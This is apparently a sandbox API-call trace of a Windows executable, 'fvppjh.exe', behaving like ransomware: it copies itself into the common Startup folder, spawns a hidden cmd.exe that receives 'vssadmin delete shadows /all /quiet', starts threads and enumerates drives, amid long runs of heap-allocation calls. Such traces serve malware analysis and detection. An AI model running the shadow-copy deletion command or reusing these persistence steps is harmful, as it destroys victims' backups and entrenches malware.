	[0056.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0056.645] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0056.647] ReadFile (in: hFile=0x244, lpBuffer=0x2468020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2468020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0056.657] WriteFile (in: hFile=0x248, lpBuffer=0x2468020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2468020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0056.660] ReadFile (in: hFile=0x244, lpBuffer=0x2468020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2468020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0056.660] CloseHandle (hObject=0x248) returned 1
	[0056.662] CloseHandle (hObject=0x244) returned 1
	[0056.662] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7651e0
	[0056.662] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7651e0, Size=0x20) returned 0x75ee58
	[0056.662] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765228
	[0056.662] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765228, Size=0x20) returned 0x75eea8
	[0056.662] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0056.662] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0056.662] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0056.662] lstrlenW (lpString="kernel32.dll") returned 12
	[0056.662] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eea8 | out: hHeap=0x720000) returned 1
	[0056.662] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0056.662] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ee58 | out: hHeap=0x720000) returned 1
	[0056.662] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x2468020 | out: hHeap=0x720000) returned 1
	[0056.675] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x767700 | out: hHeap=0x720000) returned 1
	[0056.675] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x777708 | out: hHeap=0x720000) returned 1
	[0056.677] lstrlenW (lpString="%windir%\\System32") returned 17
	[0056.677] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x73a540 | out: hHeap=0x720000) returned 1
	[0056.677] lstrlenW (lpString="%appdata%") returned 9
	[0056.677] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ee30 | out: hHeap=0x720000) returned 1
	[0056.677] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0056.677] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ecc8 | out: hHeap=0x720000) returned 1
	[0056.677] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0056.677] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x739fa0 | out: hHeap=0x720000) returned 1
	[0056.677] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7652b8
	[0056.677] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7652b8, Size=0x20) returned 0x75ef20
	[0056.677] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ef20, Size=0x40) returned 0x73a3d8
	[0056.677] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a3d8, Size=0x80) returned 0x7646b0
	[0056.677] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7651f8
	[0056.677] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7651f8, Size=0x20) returned 0x75ecf0
	[0056.677] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1fffc) returned 0x767700
	[0056.678] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x787708
	[0056.678] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x797710
	[0056.678] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765228
	[0056.678] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765228, Size=0x20) returned 0x75ee30
	[0056.678] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ee30, Size=0x40) returned 0x73a618
	[0056.678] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a618, Size=0x80) returned 0x7641e8
	[0056.678] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7641e8, Size=0x100) returned 0x765f40
	[0056.678] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0056.678] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x765f40 | out: hHeap=0x720000) returned 1
	[0056.678] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x787708, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0056.678] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x797710 | out: hHeap=0x720000) returned 1
	[0056.679] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x787708 | out: hHeap=0x720000) returned 1
	[0056.679] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0056.680] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0056.680] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0056.680] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0056.680] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x1158, dwThreadId=0x1150)) returned 1
	[0057.037] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0057.037] WriteFile (in: hFile=0x24c, lpBuffer=0x7646b0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x7646b0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0057.037] CloseHandle (hObject=0x25c) returned 1
	[0057.037] CloseHandle (hObject=0x258) returned 1
	[0057.037] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x767700 | out: hHeap=0x720000) returned 1
	[0057.037] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0057.037] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7646b0 | out: hHeap=0x720000) returned 1
	[0057.037] lstrlenW (lpString="%comspec%") returned 9
	[0057.037] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ecf0 | out: hHeap=0x720000) returned 1
	[0057.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0057.038] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7652b8
	[0057.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x7652b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0057.038] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x7634b0
	[0057.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x7634b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765228
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765228, Size=0x20) returned 0x75ee80
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ee80, Size=0x40) returned 0x739fa0
	[0057.039] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xd0) returned 0x73acd0
	[0057.039] GetLogicalDrives () returned 0x4
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10014) returned 0x767700
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7652d0
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7652d0, Size=0x20) returned 0x75ee58
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75ee58, Size=0x40) returned 0x73a0c0
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a0c0, Size=0x80) returned 0x764958
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764958, Size=0x100) returned 0x765fd0
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x200) returned 0x765fd0
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x400) returned 0x765fd0
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x800) returned 0x777720
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x777720, Size=0x1000) returned 0x777720
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x778728
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x765390
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x765258
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x763450
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x765240
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x4) returned 0x7634e0
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7652d0
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7634e0, Size=0x8) returned 0x763420
	[0057.039] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765438
	[0057.039] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x763420, Size=0x10) returned 0x7651e0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765378
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765450
	[0057.040] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7651e0, Size=0x20) returned 0x75edb8
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7652e8
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x7634d0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x765360
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x765228
	[0057.040] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75edb8, Size=0x40) returned 0x73a2b8
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x7651b0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x765348
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x7653a8
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x7653c0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765198
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7651c8
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763440
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7653d8
	[0057.040] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x73a2b8, Size=0x80) returned 0x764490
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7651e0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765180
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765408
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7651f8
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765528
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x765480
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765468
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763460
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7654f8
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7654e0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x765498
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7654b0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7654c8
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x765510
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7887f0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788808
	[0057.040] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x764490, Size=0x100) returned 0x765fd0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7887c0
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788940
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788868
	[0057.040] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7888f8
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788a00
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7889b8
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x7633e0
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788988
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7889d0
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7888b0
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7633a0
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788928
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788838
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763530
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788760
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788880
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788a18
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788970
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7887a8
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7888c8
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x788a48
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788778
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7889e8
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788958
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7889a0
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788a30
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788850
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763430
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7887d8
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788790
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788820
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788898
	[0057.041] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x200) returned 0x765fd0
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7888e0
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763490
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788910
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788c28
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788cb8
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788bf8
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788b98
	[0057.041] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788b20
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788b80
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788bb0
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788ca0
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788b08
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788bc8
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788be0
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788af0
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788ce8
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788c10
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788cd0
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788c40
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788c70
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788c88
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788a60
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788b38
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x7634c0
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788d00
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788b68
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788b50
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x763410
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788ac0
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788c58
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788d18
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788d30
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788ad8
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788d48
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788a78
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788a90
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788aa8
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788dd8
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788e20
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788ec8
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788e38
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788e80
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788f10
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788e08
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788ee0
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788e68
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788d90
	[0057.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788e50
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788e98
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x7633f0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x763400
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788df0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788ef8
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788d78
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788d60
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788eb0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x788da8
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788dc0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789190
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7891d8
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7890e8
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7890d0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7891c0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7891a8
	[0057.043] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x765fd0, Size=0x400) returned 0x765fd0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789178
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789160
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789028
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788f68
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789100
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789118
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x789148
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789250
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789088
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789130
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x8) returned 0x7634a0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789040
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xc) returned 0x7891f0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789010
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789238
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x7890a0
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789208
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xe) returned 0x7890b8
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789220
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788f80
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788ff8
	[0057.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788f98
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x788fb0
	[0057.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xa) returned 0x789058
